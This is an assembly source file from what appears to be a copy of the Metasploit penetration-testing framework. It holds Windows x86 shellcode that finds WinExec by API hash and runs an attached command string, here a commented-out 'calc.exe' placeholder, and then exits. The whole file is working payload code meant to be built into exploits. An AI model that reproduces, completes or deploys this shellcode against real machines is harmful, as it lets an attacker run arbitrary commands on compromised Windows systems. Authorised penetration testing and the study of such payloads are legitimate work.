Files
metasploit-gs/external/source/shellcode/windows/x86/src/single/single_exec.asm
T

26 lines
1.0 KiB
NASM

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (28 July 2009)
; Size: 191 bytes + strlen(command) + 1
; Build: >build.py single_exec
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
push byte +1 ;
lea eax, [ebp+command-delta]
push eax ;
push 0x876F8B31 ; hash( "kernel32.dll", "WinExec" )
call ebp ; WinExec( &command, 1 );
; Finish up with the EXITFUNK.
%include "./src/block/block_exitfunk.asm"
command:
;db "calc.exe", 0